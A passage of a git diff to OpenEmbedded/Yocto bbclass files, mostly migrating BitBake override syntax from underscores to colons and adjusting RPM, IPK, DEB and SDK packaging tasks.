do_package_write_deb[cleandirs] = "${PKGWRITEDIRDEB}"
-do_package_write_deb[umask] = "022"
do_package_write_deb[depends] += "${@oe.utils.build_depends_string(d.getVar('PACKAGE_WRITE_DEPS'), 'do_populate_sysroot')}"
-addtask package_write_deb after do_packagedata do_package
-
+addtask package_write_deb after do_packagedata do_package do_deploy_source_date_epoch before do_build
PACKAGEINDEXDEPS += "dpkg-native:do_populate_sysroot"
PACKAGEINDEXDEPS += "apt-native:do_populate_sysroot"
-
-do_build[recrdeptask] += "do_package_write_deb"
diff --git a/meta/classes/package_ipk.bbclass b/meta/classes/package_ipk.bbclass
index 79cb36c513..902b7f94c8 100644
--- a/meta/classes/package_ipk.bbclass
+++ b/meta/classes/package_ipk.bbclass
@@ -4,6 +4,7 @@ IMAGE_PKGTYPE ?= "ipk"
IPKGCONF_TARGET = "${WORKDIR}/opkg.conf"
IPKGCONF_SDK = "${WORKDIR}/opkg-sdk.conf"
+IPKGCONF_SDK_TARGET = "${WORKDIR}/opkg-sdk-target.conf"
PKGWRITEDIRIPK = "${WORKDIR}/deploy-ipks"
@@ -64,7 +65,7 @@ def ipk_write_pkg(pkg, d):
try:
localdata.setVar('ROOT', '')
localdata.setVar('ROOT_%s' % pkg, root)
- pkgname = localdata.getVar('PKG_%s' % pkg)
+ pkgname = localdata.getVar('PKG:%s' % pkg)
if not pkgname:
pkgname = pkg
localdata.setVar('PKG', pkgname)
@@ -229,8 +230,8 @@ def ipk_write_pkg(pkg, d):
shell=True)
if d.getVar('IPK_SIGN_PACKAGES') == '1':
- ipkver = "%s-%s" % (d.getVar('PKGV'), d.getVar('PKGR'))
- ipk_to_sign = "%s/%s_%s_%s.ipk" % (pkgoutdir, pkgname, ipkver, d.getVar('PACKAGE_ARCH'))
+ ipkver = "%s-%s" % (localdata.getVar('PKGV'), localdata.getVar('PKGR'))
+ ipk_to_sign = "%s/%s_%s_%s.ipk" % (pkgoutdir, pkgname, ipkver, localdata.getVar('PACKAGE_ARCH'))
sign_ipk(d, ipk_to_sign)
finally:
@@ -272,11 +273,8 @@ python do_package_write_ipk () {
}
do_package_write_ipk[dirs] = "${PKGWRITEDIRIPK}"
do_package_write_ipk[cleandirs] = "${PKGWRITEDIRIPK}"
-do_package_write_ipk[umask] = "022"
do_package_write_ipk[depends] += "${@oe.utils.build_depends_string(d.getVar('PACKAGE_WRITE_DEPS'), 'do_populate_sysroot')}"
-addtask package_write_ipk after do_packagedata do_package
+addtask package_write_ipk after do_packagedata do_package do_deploy_source_date_epoch before do_build
PACKAGEINDEXDEPS += "opkg-utils-native:do_populate_sysroot"
PACKAGEINDEXDEPS += "opkg-native:do_populate_sysroot"
-
-do_build[recrdeptask] += "do_package_write_ipk"
diff --git a/meta/classes/package_pkgdata.bbclass b/meta/classes/package_pkgdata.bbclass
index 18b7ed62e0..a1ea8fc041 100644
--- a/meta/classes/package_pkgdata.bbclass
+++ b/meta/classes/package_pkgdata.bbclass
@@ -162,6 +162,6 @@ python package_prepare_pkgdata() {
}
package_prepare_pkgdata[cleandirs] = "${WORKDIR_PKGDATA}"
-package_prepare_pkgdata[vardepsexclude] += "MACHINE_ARCH PACKAGE_EXTRA_ARCHS SDK_ARCH BUILD_ARCH SDK_OS BB_TASKDEPDATA"
+package_prepare_pkgdata[vardepsexclude] += "MACHINE_ARCH PACKAGE_EXTRA_ARCHS SDK_ARCH BUILD_ARCH SDK_OS BB_TASKDEPDATA SSTATETASKS"
diff --git a/meta/classes/package_rpm.bbclass b/meta/classes/package_rpm.bbclass
index 53b4700cdd..b0754421a3 100644
--- a/meta/classes/package_rpm.bbclass
+++ b/meta/classes/package_rpm.bbclass
@@ -40,10 +40,10 @@ def write_rpm_perfiledata(srcname, d):
outfile.write("# Dependency table\n")
outfile.write('deps = {\n')
for pkg in packages.split():
- dependsflist_key = 'FILE' + varname + 'FLIST' + "_" + pkg
+ dependsflist_key = 'FILE' + varname + 'FLIST' + ":" + pkg
dependsflist = (d.getVar(dependsflist_key) or "")
for dfile in dependsflist.split():
- key = "FILE" + varname + "_" + dfile + "_" + pkg
+ key = "FILE" + varname + ":" + dfile + ":" + pkg
deps = filter_nativesdk_deps(srcname, d.getVar(key) or "")
depends_dict = bb.utils.explode_dep_versions(deps)
file = dfile.replace("@underscore@", "_")
@@ -249,10 +249,10 @@ python write_specfile () {
def get_perfile(varname, pkg, d):
deps = []
- dependsflist_key = 'FILE' + varname + 'FLIST' + "_" + pkg
+ dependsflist_key = 'FILE' + varname + 'FLIST' + ":" + pkg
dependsflist = (d.getVar(dependsflist_key) or "")
for dfile in dependsflist.split():
- key = "FILE" + varname + "_" + dfile + "_" + pkg
+ key = "FILE" + varname + ":" + dfile + ":" + pkg
depends = d.getVar(key)
if depends:
deps.append(depends)
@@ -300,13 +300,13 @@ python write_specfile () {
srccustomtagschunk = get_package_additional_metadata("rpm", localdata)
srcdepends = d.getVar('DEPENDS')
- srcrdepends = []
- srcrrecommends = []
- srcrsuggests = []
- srcrprovides = []
- srcrreplaces = []
- srcrconflicts = []
- srcrobsoletes = []
+ srcrdepends = ""
+ srcrrecommends = ""
+ srcrsuggests = ""
+ srcrprovides = ""
+ srcrreplaces = ""
+ srcrconflicts = ""
+ srcrobsoletes = ""
srcrpreinst = []
srcrpostinst = []
@@ -332,7 +332,7 @@ python write_specfile () {
localdata.setVar('ROOT', '')
localdata.setVar('ROOT_%s' % pkg, root)
- pkgname = localdata.getVar('PKG_%s' % pkg)
+ pkgname = localdata.getVar('PKG:%s' % pkg)
if not pkgname:
pkgname = pkg
localdata.setVar('PKG', pkgname)
@@ -365,13 +365,13 @@ python write_specfile () {
# Map the dependencies into their final form
mapping_rename_hook(localdata)
- splitrdepends = localdata.getVar('RDEPENDS')
- splitrrecommends = localdata.getVar('RRECOMMENDS')
- splitrsuggests = localdata.getVar('RSUGGESTS')
- splitrprovides = localdata.getVar('RPROVIDES')
- splitrreplaces = localdata.getVar('RREPLACES')
- splitrconflicts = localdata.getVar('RCONFLICTS')
- splitrobsoletes = []
+ splitrdepends = localdata.getVar('RDEPENDS') or ""
+ splitrrecommends = localdata.getVar('RRECOMMENDS') or ""
+ splitrsuggests = localdata.getVar('RSUGGESTS') or ""
+ splitrprovides = localdata.getVar('RPROVIDES') or ""
+ splitrreplaces = localdata.getVar('RREPLACES') or ""
+ splitrconflicts = localdata.getVar('RCONFLICTS') or ""
+ splitrobsoletes = ""
splitrpreinst = localdata.getVar('pkg_preinst')
splitrpostinst = localdata.getVar('pkg_postinst')
@@ -439,9 +439,9 @@ python write_specfile () {
spec_preamble_bottom.append(splitcustomtagschunk)
# Replaces == Obsoletes && Provides
- robsoletes = bb.utils.explode_dep_versions2(splitrobsoletes or "")
- rprovides = bb.utils.explode_dep_versions2(splitrprovides or "")
- rreplaces = bb.utils.explode_dep_versions2(splitrreplaces or "")
+ robsoletes = bb.utils.explode_dep_versions2(splitrobsoletes)
+ rprovides = bb.utils.explode_dep_versions2(splitrprovides)
+ rreplaces = bb.utils.explode_dep_versions2(splitrreplaces)
for dep in rreplaces:
if not dep in robsoletes:
robsoletes[dep] = rreplaces[dep]
@@ -533,9 +533,9 @@ python write_specfile () {
tail_source(d)
# Replaces == Obsoletes && Provides
- robsoletes = bb.utils.explode_dep_versions2(srcrobsoletes or "")
- rprovides = bb.utils.explode_dep_versions2(srcrprovides or "")
- rreplaces = bb.utils.explode_dep_versions2(srcrreplaces or "")
+ robsoletes = bb.utils.explode_dep_versions2(srcrobsoletes)
+ rprovides = bb.utils.explode_dep_versions2(srcrprovides)
+ rreplaces = bb.utils.explode_dep_versions2(srcrreplaces)
for dep in rreplaces:
if not dep in robsoletes:
robsoletes[dep] = rreplaces[dep]
@@ -684,10 +684,12 @@ python do_package_rpm () {
cmd = cmd + " --define '_use_internal_dependency_generator 0'"
cmd = cmd + " --define '_binaries_in_noarch_packages_terminate_build 0'"
cmd = cmd + " --define '_build_id_links none'"
- cmd = cmd + " --define '_binary_payload w6T.xzdio'"
- cmd = cmd + " --define '_source_payload w6T.xzdio'"
+ cmd = cmd + " --define '_binary_payload w19T%d.zstdio'" % int(d.getVar("ZSTD_THREADS"))
+ cmd = cmd + " --define '_source_payload w19T%d.zstdio'" % int(d.getVar("ZSTD_THREADS"))
cmd = cmd + " --define 'clamp_mtime_to_source_date_epoch 1'"
+ cmd = cmd + " --define 'use_source_date_epoch_as_buildtime 1'"
cmd = cmd + " --define '_buildhost reproducible'"
+ cmd = cmd + " --define '__font_provides %{nil}'"
if perfiledeps:
cmd = cmd + " --define '__find_requires " + outdepends + "'"
cmd = cmd + " --define '__find_provides " + outprovides + "'"
@@ -745,11 +747,8 @@ python do_package_write_rpm () {
do_package_write_rpm[dirs] = "${PKGWRITEDIRRPM}"
do_package_write_rpm[cleandirs] = "${PKGWRITEDIRRPM}"
-do_package_write_rpm[umask] = "022"
do_package_write_rpm[depends] += "${@oe.utils.build_depends_string(d.getVar('PACKAGE_WRITE_DEPS'), 'do_populate_sysroot')}"
-addtask package_write_rpm after do_packagedata do_package
+addtask package_write_rpm after do_packagedata do_package do_deploy_source_date_epoch before do_build
PACKAGEINDEXDEPS += "rpm-native:do_populate_sysroot"
PACKAGEINDEXDEPS += "createrepo-c-native:do_populate_sysroot"
-
-do_build[recrdeptask] += "do_package_write_rpm"
diff --git a/meta/classes/packagedata.bbclass b/meta/classes/packagedata.bbclass
index a903e5cfd2..c2760e2bf0 100644
--- a/meta/classes/packagedata.bbclass
+++ b/meta/classes/packagedata.bbclass
@@ -24,10 +24,10 @@ python read_subpackage_metadata () {
continue
#
# If we set unsuffixed variables here there is a chance they could clobber override versions
- # of that variable, e.g. DESCRIPTION could clobber DESCRIPTION_<pkgname>
+ # of that variable, e.g. DESCRIPTION could clobber DESCRIPTION:<pkgname>
# We therefore don't clobber for the unsuffixed variable versions
#
- if key.endswith("_" + pkg):
+ if key.endswith(":" + pkg):
d.setVar(key, sdata[key])
else:
d.setVar(key, sdata[key], parsing=True)
diff --git a/meta/classes/packagegroup.bbclass b/meta/classes/packagegroup.bbclass
index 1541c8fbff..557b1b6382 100644
--- a/meta/classes/packagegroup.bbclass
+++ b/meta/classes/packagegroup.bbclass
@@ -32,7 +32,7 @@ python () {
for suffix in types]
d.setVar('PACKAGES', ' '.join(packages))
for pkg in packages:
- d.setVar('ALLOW_EMPTY_%s' % pkg, '1')
+ d.setVar('ALLOW_EMPTY:%s' % pkg, '1')
}
# We don't want to look at shared library dependencies for the
diff --git a/meta/classes/patch.bbclass b/meta/classes/patch.bbclass
index 25ec089ae1..8de7025491 100644
--- a/meta/classes/patch.bbclass
+++ b/meta/classes/patch.bbclass
@@ -10,7 +10,7 @@ PATCHDEPENDENCY = "${PATCHTOOL}-native:do_populate_sysroot"
# http://git.savannah.gnu.org/cgit/patch.git/patch/?id=82b800c9552a088a241457948219d25ce0a407a4
# This leaks into debug sources in particular. Add the dependency
# to target recipes to avoid this problem until we can rely on 2.7.4 or later.
-PATCHDEPENDENCY_append_class-target = " patch-replacement-native:do_populate_sysroot"
+PATCHDEPENDENCY:append:class-target = " patch-replacement-native:do_populate_sysroot"
PATCH_GIT_USER_NAME ?= "OpenEmbedded"
PATCH_GIT_USER_EMAIL ?= "oe.patch@oe"
@@ -131,6 +131,9 @@ python patch_do_patch() {
patchdir = parm["patchdir"]
if not os.path.isabs(patchdir):
patchdir = os.path.join(s, patchdir)
+ if not os.path.isdir(patchdir):
+ bb.fatal("Target directory '%s' not found, patchdir '%s' is incorrect in patch file '%s'" %
+ (patchdir, parm["patchdir"], parm['patchname']))
else:
patchdir = s
@@ -147,12 +150,12 @@ python patch_do_patch() {
patchset.Import({"file":local, "strippath": parm['striplevel']}, True)
except Exception as exc:
bb.utils.remove(process_tmpdir, True)
- bb.fatal(str(exc))
+ bb.fatal("Importing patch '%s' with striplevel '%s'\n%s" % (parm['patchname'], parm['striplevel'], repr(exc).replace("\\n", "\n")))
try:
resolver.Resolve()
except bb.BBHandledException as e:
bb.utils.remove(process_tmpdir, True)
- bb.fatal(str(e))
+ bb.fatal("Applying patch '%s' on target directory '%s'\n%s" % (parm['patchname'], patchdir, repr(e).replace("\\n", "\n")))
bb.utils.remove(process_tmpdir, True)
del os.environ['TMPDIR']
@@ -160,7 +163,6 @@ python patch_do_patch() {
patch_do_patch[vardepsexclude] = "PATCHRESOLVE"
addtask patch after do_unpack
-do_patch[umask] = "022"
do_patch[dirs] = "${WORKDIR}"
do_patch[depends] = "${PATCHDEPENDENCY}"
diff --git a/meta/classes/pixbufcache.bbclass b/meta/classes/pixbufcache.bbclass
index b07f51ed56..886bf195b3 100644
--- a/meta/classes/pixbufcache.bbclass
+++ b/meta/classes/pixbufcache.bbclass
@@ -3,7 +3,7 @@
# packages.
#
-DEPENDS_append_class-target = " qemu-native"
+DEPENDS:append:class-target = " qemu-native"
inherit qemu
PIXBUF_PACKAGES ??= "${PN}"
@@ -29,30 +29,30 @@ else
fi
}
-python populate_packages_append() {
+python populate_packages:append() {
pixbuf_pkgs = d.getVar('PIXBUF_PACKAGES').split()
for pkg in pixbuf_pkgs:
bb.note("adding pixbuf postinst and postrm scripts to %s" % pkg)
- postinst = d.getVar('pkg_postinst_%s' % pkg) or d.getVar('pkg_postinst')
+ postinst = d.getVar('pkg_postinst:%s' % pkg) or d.getVar('pkg_postinst')
if not postinst:
postinst = '#!/bin/sh\n'
postinst += d.getVar('pixbufcache_common')
- d.setVar('pkg_postinst_%s' % pkg, postinst)
+ d.setVar('pkg_postinst:%s' % pkg, postinst)
- postrm = d.getVar('pkg_postrm_%s' % pkg) or d.getVar('pkg_postrm')
+ postrm = d.getVar('pkg_postrm:%s' % pkg) or d.getVar('pkg_postrm')
if not postrm:
postrm = '#!/bin/sh\n'
postrm += d.getVar('pixbufcache_common')
- d.setVar('pkg_postrm_%s' % pkg, postrm)
+ d.setVar('pkg_postrm:%s' % pkg, postrm)
}
gdkpixbuf_complete() {
GDK_PIXBUF_FATAL_LOADER=1 ${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/gdk-pixbuf-query-loaders --update-cache || exit 1
}
-DEPENDS_append_class-native = " gdk-pixbuf-native"
-SYSROOT_PREPROCESS_FUNCS_append_class-native = " pixbufcache_sstate_postinst"
+DEPENDS:append:class-native = " gdk-pixbuf-native"
+SYSROOT_PREPROCESS_FUNCS:append:class-native = " pixbufcache_sstate_postinst"
pixbufcache_sstate_postinst() {
mkdir -p ${SYSROOT_DESTDIR}${bindir}
diff --git a/meta/classes/pkgconfig.bbclass b/meta/classes/pkgconfig.bbclass
index ad1f84f506..fa94527ce9 100644
--- a/meta/classes/pkgconfig.bbclass
+++ b/meta/classes/pkgconfig.bbclass
@@ -1,2 +1,2 @@
-DEPENDS_prepend = "pkgconfig-native "
+DEPENDS:prepend = "pkgconfig-native "
diff --git a/meta/classes/populate_sdk_base.bbclass b/meta/classes/populate_sdk_base.bbclass
index 49b1833265..fafdd96749 100644
--- a/meta/classes/populate_sdk_base.bbclass
+++ b/meta/classes/populate_sdk_base.bbclass
@@ -1,4 +1,6 @@
-inherit meta image-postinst-intercepts image-artifact-names
+PACKAGES = ""
+
+inherit image-postinst-intercepts image-artifact-names
# Wildcards specifying complementary packages to install for every package that has been explicitly
# installed into the rootfs
@@ -23,7 +25,7 @@ SDKIMAGE_FEATURES ??= "dev-pkgs dbg-pkgs src-pkgs ${@bb.utils.contains('DISTRO_F
SDKIMAGE_INSTALL_COMPLEMENTARY = '${@complementary_globs("SDKIMAGE_FEATURES", d)}'
SDKIMAGE_INSTALL_COMPLEMENTARY[vardeps] += "SDKIMAGE_FEATURES"
-PACKAGE_ARCHS_append_task-populate-sdk = " sdk-provides-dummy-target"
+PACKAGE_ARCHS:append:task-populate-sdk = " sdk-provides-dummy-target"
SDK_PACKAGE_ARCHS += "sdk-provides-dummy-${SDKPKGSUFFIX}"
# List of locales to install, or "all" for all of them, or unset for none.
@@ -37,7 +39,7 @@ SDK_DEPLOY = "${DEPLOY_DIR}/sdk"
SDKDEPLOYDIR = "${WORKDIR}/${SDKMACHINE}-deploy-${PN}-populate-sdk"
-B_task-populate-sdk = "${SDK_DIR}"
+B:task-populate-sdk = "${SDK_DIR}"
SDKTARGETSYSROOT = "${SDKPATH}/sysroots/${REAL_MULTIMACH_TARGET_SYS}"
@@ -66,7 +68,7 @@ python () {
SDK_RDEPENDS = "${TOOLCHAIN_TARGET_TASK} ${TOOLCHAIN_HOST_TASK}"
SDK_DEPENDS = "virtual/fakeroot-native ${SDK_ARCHIVE_DEPENDS} cross-localedef-native nativesdk-qemuwrapper-cross ${@' '.join(["%s-qemuwrapper-cross" % m for m in d.getVar("MULTILIB_VARIANTS").split()])} qemuwrapper-cross"
-PATH_prepend = "${STAGING_DIR_HOST}${SDKPATHNATIVE}${bindir}/crossscripts:${@":".join(all_multilib_tune_values(d, 'STAGING_BINDIR_CROSS').split())}:"
+PATH:prepend = "${WORKDIR}/recipe-sysroot/${SDKPATHNATIVE}${bindir}/crossscripts:${@":".join(all_multilib_tune_values(d, 'STAGING_BINDIR_CROSS').split())}:"
SDK_DEPENDS += "nativesdk-glibc-locale"
# We want the MULTIARCH_TARGET_SYS to point to the TUNE_PKGARCH, not PACKAGE_ARCH as it
@@ -119,9 +121,9 @@ python write_host_sdk_manifest () {
output.write(format_pkg_list(pkgs, 'ver'))
}
-POPULATE_SDK_POST_TARGET_COMMAND_append = " write_sdk_test_data ; "
-POPULATE_SDK_POST_TARGET_COMMAND_append_task-populate-sdk = " write_target_sdk_manifest ; "
-POPULATE_SDK_POST_HOST_COMMAND_append_task-populate-sdk = " write_host_sdk_manifest; "
+POPULATE_SDK_POST_TARGET_COMMAND:append = " write_sdk_test_data ; "
+POPULATE_SDK_POST_TARGET_COMMAND:append:task-populate-sdk = " write_target_sdk_manifest ; "
+POPULATE_SDK_POST_HOST_COMMAND:append:task-populate-sdk = " write_host_sdk_manifest; "
SDK_PACKAGING_COMMAND = "${@'${SDK_PACKAGING_FUNC};' if '${SDK_PACKAGING_FUNC}' else ''}"
SDK_POSTPROCESS_COMMAND = " create_sdk_files; check_sdk_sysroots; archive_sdk; ${SDK_PACKAGING_COMMAND} "
@@ -172,13 +174,17 @@ fakeroot python do_populate_sdk() {
populate_sdk_common(d)
}
SSTATETASKS += "do_populate_sdk"
-SSTATE_SKIP_CREATION_task-populate-sdk = '1'
+SSTATE_SKIP_CREATION:task-populate-sdk = '1'
do_populate_sdk[cleandirs] = "${SDKDEPLOYDIR}"
do_populate_sdk[sstate-inputdirs] = "${SDKDEPLOYDIR}"
do_populate_sdk[sstate-outputdirs] = "${SDK_DEPLOY}"
do_populate_sdk[stamp-extra-info] = "${MACHINE_ARCH}${SDKMACHINE}"
+python do_populate_sdk_setscene () {
+ sstate_setscene(d)
+}
+addtask do_populate_sdk_setscene
-PSEUDO_IGNORE_PATHS .= ",${SDKDEPLOYDIR}"
+PSEUDO_IGNORE_PATHS .= ",${SDKDEPLOYDIR},${WORKDIR}/oe-sdk-repo,${WORKDIR}/sstate-build-populate_sdk"
fakeroot create_sdk_files() {
cp ${COREBASE}/scripts/relocate_sdk.py ${SDK_OUTPUT}/${SDKPATH}/
@@ -263,7 +269,7 @@ fakeroot create_shar() {
rm -f ${T}/pre_install_command ${T}/post_install_command
- if [ ${SDK_RELOCATE_AFTER_INSTALL} -eq 1 ] ; then
+ if [ "${SDK_RELOCATE_AFTER_INSTALL}" = "1" ] ; then
cp ${TOOLCHAIN_SHAR_REL_TMPL} ${T}/post_install_command
fi
cat << "EOF" >> ${T}/pre_install_command
@@ -280,6 +286,7 @@ EOF
# substitute variables
sed -i -e 's#@SDK_ARCH@#${SDK_ARCH}#g' \
-e 's#@SDKPATH@#${SDKPATH}#g' \
+ -e 's#@SDKPATHINSTALL@#${SDKPATHINSTALL}#g' \
-e 's#@SDKEXTPATH@#${SDKEXTPATH}#g' \
-e 's#@OLDEST_KERNEL@#${SDK_OLDEST_KERNEL}#g' \
-e 's#@REAL_MULTIMACH_TARGET_SYS@#${REAL_MULTIMACH_TARGET_SYS}#g' \
@@ -329,6 +336,13 @@ def sdk_variables(d):
do_populate_sdk[vardeps] += "${@sdk_variables(d)}"
+python () {
+ variables = sdk_command_variables(d)
+ for var in variables:
+ if d.getVar(var, False):
+ d.setVarFlag(var, 'func', '1')
+}
+
do_populate_sdk[file-checksums] += "${TOOLCHAIN_SHAR_REL_TMPL}:True \
${TOOLCHAIN_SHAR_EXT_TMPL}:True"
diff --git a/meta/classes/populate_sdk_ext.bbclass b/meta/classes/populate_sdk_ext.bbclass
index 6f35b612c2..ef93b6a826 100644
--- a/meta/classes/populate_sdk_ext.bbclass
+++ b/meta/classes/populate_sdk_ext.bbclass
@@ -2,19 +2,15 @@
inherit populate_sdk_base
-# NOTE: normally you cannot use task overrides for this kind of thing - this
-# only works because of get_sdk_ext_rdepends()
-
-TOOLCHAIN_HOST_TASK_task-populate-sdk-ext = " \
+# Used to override TOOLCHAIN_HOST_TASK in the eSDK case
+TOOLCHAIN_HOST_TASK_ESDK = " \
meta-environment-extsdk-${MACHINE} \
"
-TOOLCHAIN_TARGET_TASK_task-populate-sdk-ext = ""
-
-SDK_RELOCATE_AFTER_INSTALL_task-populate-sdk-ext = "0"
+SDK_RELOCATE_AFTER_INSTALL:task-populate-sdk-ext = "0"
SDK_EXT = ""
-SDK_EXT_task-populate-sdk-ext = "-ext"
+SDK_EXT:task-populate-sdk-ext = "-ext"
# Options are full or minimal
SDK_EXT_TYPE ?= "full"
@@ -24,6 +20,7 @@ SDK_INCLUDE_NATIVESDK ?= "0"
SDK_INCLUDE_BUILDTOOLS ?= '1'
SDK_RECRDEP_TASKS ?= ""
+SDK_CUSTOM_TEMPLATECONF ?= "0"
SDK_LOCAL_CONF_WHITELIST ?= ""
SDK_LOCAL_CONF_BLACKLIST ?= "CONF_VERSION \
@@ -77,10 +74,10 @@ COREBASE_FILES ?= " \
.templateconf \
"
-SDK_DIR_task-populate-sdk-ext = "${WORKDIR}/sdk-ext"
-B_task-populate-sdk-ext = "${SDK_DIR}"
+SDK_DIR:task-populate-sdk-ext = "${WORKDIR}/sdk-ext"
+B:task-populate-sdk-ext = "${SDK_DIR}"
TOOLCHAINEXT_OUTPUTNAME ?= "${SDK_NAME}-toolchain-ext-${SDK_VERSION}"
-TOOLCHAIN_OUTPUTNAME_task-populate-sdk-ext = "${TOOLCHAINEXT_OUTPUTNAME}"
+TOOLCHAIN_OUTPUTNAME:task-populate-sdk-ext = "${TOOLCHAINEXT_OUTPUTNAME}"
SDK_EXT_TARGET_MANIFEST = "${SDK_DEPLOY}/${TOOLCHAINEXT_OUTPUTNAME}.target.manifest"
SDK_EXT_HOST_MANIFEST = "${SDK_DEPLOY}/${TOOLCHAINEXT_OUTPUTNAME}.host.manifest"
@@ -117,9 +114,9 @@ python write_host_sdk_ext_manifest () {
f.write("%s %s %s\n" % (info[1], info[2], info[3]))
}
-SDK_POSTPROCESS_COMMAND_append_task-populate-sdk-ext = "write_target_sdk_ext_manifest; write_host_sdk_ext_manifest; "
+SDK_POSTPROCESS_COMMAND:append:task-populate-sdk-ext = "write_target_sdk_ext_manifest; write_host_sdk_ext_manifest; "
-SDK_TITLE_task-populate-sdk-ext = "${@d.getVar('DISTRO_NAME') or d.getVar('DISTRO')} Extensible SDK"
+SDK_TITLE:task-populate-sdk-ext = "${@d.getVar('DISTRO_NAME') or d.getVar('DISTRO')} Extensible SDK"
def clean_esdk_builddir(d, sdkbasepath):
"""Clean up traces of the fake build for create_filtered_tasklist()"""
@@ -146,15 +143,15 @@ def create_filtered_tasklist(d, sdkbasepath, tasklistfile, conf_initpath):
try:
with open(sdkbasepath + '/conf/local.conf', 'a') as f:
# Force the use of sstate from the build system
- f.write('\nSSTATE_DIR_forcevariable = "%s"\n' % d.getVar('SSTATE_DIR'))
- f.write('SSTATE_MIRRORS_forcevariable = "file://universal/(.*) file://universal-4.9/\\1 file://universal-4.9/(.*) file://universal-4.8/\\1"\n')
+ f.write('\nSSTATE_DIR:forcevariable = "%s"\n' % d.getVar('SSTATE_DIR'))
+ f.write('SSTATE_MIRRORS:forcevariable = "file://universal/(.*) file://universal-4.9/\\1 file://universal-4.9/(.*) file://universal-4.8/\\1"\n')
# Ensure TMPDIR is the default so that clean_esdk_builddir() can delete it
- f.write('TMPDIR_forcevariable = "${TOPDIR}/tmp"\n')
- f.write('TCLIBCAPPEND_forcevariable = ""\n')
+ f.write('TMPDIR:forcevariable = "${TOPDIR}/tmp"\n')
+ f.write('TCLIBCAPPEND:forcevariable = ""\n')
# Drop uninative if the build isn't using it (or else NATIVELSBSTRING will
# be different and we won't be able to find our native sstate)
if not bb.data.inherits_class('uninative', d):
- f.write('INHERIT_remove = "uninative"\n')
+ f.write('INHERIT:remove = "uninative"\n')
# Unfortunately the default SDKPATH (or even a custom value) may contain characters that bitbake
# will not allow in its COREBASE path, so we need to rename the directory temporarily
@@ -164,7 +161,7 @@ def create_filtered_tasklist(d, sdkbasepath, tasklistfile, conf_initpath):
shutil.rmtree(temp_sdkbasepath)
except FileNotFoundError:
pass
- os.rename(sdkbasepath, temp_sdkbasepath)
+ bb.utils.rename(sdkbasepath, temp_sdkbasepath)
cmdprefix = '. %s .; ' % conf_initpath
logfile = d.getVar('WORKDIR') + '/tasklist_bb_log.txt'
try:
@@ -174,7 +171,7 @@ def create_filtered_tasklist(d, sdkbasepath, tasklistfile, conf_initpath):
if 'attempted to execute unexpectedly and should have been setscened' in e.stdout:
msg += '\n----------\n\nNOTE: "attempted to execute unexpectedly and should have been setscened" errors indicate this may be caused by missing sstate artifacts that were likely produced in earlier builds, but have been subsequently deleted for some reason.\n'
bb.fatal(msg)
- os.rename(temp_sdkbasepath, sdkbasepath)
+ bb.utils.rename(temp_sdkbasepath, sdkbasepath)
# Clean out residue of running bitbake, which check_sstate_task_list()
# will effectively do
clean_esdk_builddir(d, sdkbasepath)
@@ -199,6 +196,9 @@ python copy_buildsystem () {
buildsystem = oe.copy_buildsystem.BuildSystem('extensible SDK', d)
baseoutpath = d.getVar('SDK_OUTPUT') + '/' + d.getVar('SDKPATH')
+ #check if custome templateconf path is set
+ use_custom_templateconf = d.getVar('SDK_CUSTOM_TEMPLATECONF')
+
# Determine if we're building a derivative extensible SDK (from devtool build-sdk)
derivative = (d.getVar('SDK_DERIVATIVE') or '') == '1'
if derivative:
@@ -247,7 +247,9 @@ python copy_buildsystem () {
# Create a layer for new recipes / appends
bbpath = d.getVar('BBPATH')
- bb.process.run(['devtool', '--bbpath', bbpath, '--basepath', baseoutpath, 'create-workspace', '--create-only', os.path.join(baseoutpath, 'workspace')])
+ env = os.environ.copy()
+ env['PYTHONDONTWRITEBYTECODE'] = '1'
+ bb.process.run(['devtool', '--bbpath', bbpath, '--basepath', baseoutpath, 'create-workspace', '--create-only', os.path.join(baseoutpath, 'workspace')], env=env)
# Create bblayers.conf
bb.utils.mkdirhier(baseoutpath + '/conf')
@@ -336,7 +338,7 @@ python copy_buildsystem () {
f.write('CONF_VERSION = "%s"\n\n' % d.getVar('CONF_VERSION', False))
# Some classes are not suitable for SDK, remove them from INHERIT
- f.write('INHERIT_remove = "%s"\n' % d.getVar('SDK_INHERIT_BLACKLIST', False))
+ f.write('INHERIT:remove = "%s"\n' % d.getVar('SDK_INHERIT_BLACKLIST', False))
# Bypass the default connectivity check if any
f.write('CONNECTIVITY_CHECK_URIS = ""\n\n')
@@ -352,7 +354,7 @@ python copy_buildsystem () {
f.write('SIGGEN_LOCKEDSIGS_TASKSIG_CHECK = "warn"\n\n')
# We want to be able to set this without a full reparse
- f.write('BB_HASHCONFIG_WHITELIST_append = " SIGGEN_UNLOCKED_RECIPES"\n\n')
+ f.write('BB_HASHCONFIG_WHITELIST:append = " SIGGEN_UNLOCKED_RECIPES"\n\n')
# Set up whitelist for run on install
f.write('BB_SETSCENE_ENFORCE_WHITELIST = "%:* *:do_shared_workdir *:do_rm_work wic-tools:* *:do_addto_recipe_sysroot"\n\n')
@@ -360,12 +362,19 @@ python copy_buildsystem () {
# Hide the config information from bitbake output (since it's fixed within the SDK)
f.write('BUILDCFG_HEADER = ""\n\n')
+ # Write METADATA_REVISION
+ f.write('METADATA_REVISION = "%s"\n\n' % d.getVar('METADATA_REVISION'))
+
f.write('# Provide a flag to indicate we are in the EXT_SDK Context\n')
f.write('WITHIN_EXT_SDK = "1"\n\n')
# Map gcc-dependent uninative sstate cache for installer usage
f.write('SSTATE_MIRRORS += " file://universal/(.*) file://universal-4.9/\\1 file://universal-4.9/(.*) file://universal-4.8/\\1"\n\n')
+ if d.getVar("PRSERV_HOST"):
+ # Override this, we now include PR data, so it should only point ot the local database
+ f.write('PRSERV_HOST = "localhost:0"\n\n')
+
# Allow additional config through sdk-extra.conf
fn = bb.cookerdata.findConfigFile('sdk-extra.conf', d)
if fn:
@@ -384,13 +393,42 @@ python copy_buildsystem () {
f.write('require conf/locked-sigs.inc\n')
f.write('require conf/unlocked-sigs.inc\n')
+ # Copy multiple configurations if they exist in the users config directory
+ if d.getVar('BBMULTICONFIG') is not None:
+ bb.utils.mkdirhier(os.path.join(baseoutpath, 'conf', 'multiconfig'))
+ for mc in d.getVar('BBMULTICONFIG').split():
+ dest_stub = "/conf/multiconfig/%s.conf" % (mc,)
+ if os.path.exists(builddir + dest_stub):
+ shutil.copyfile(builddir + dest_stub, baseoutpath + dest_stub)
+
if os.path.exists(builddir + '/cache/bb_unihashes.dat'):
bb.parse.siggen.save_unitaskhashes()
bb.utils.mkdirhier(os.path.join(baseoutpath, 'cache'))
shutil.copyfile(builddir + '/cache/bb_unihashes.dat', baseoutpath + '/cache/bb_unihashes.dat')
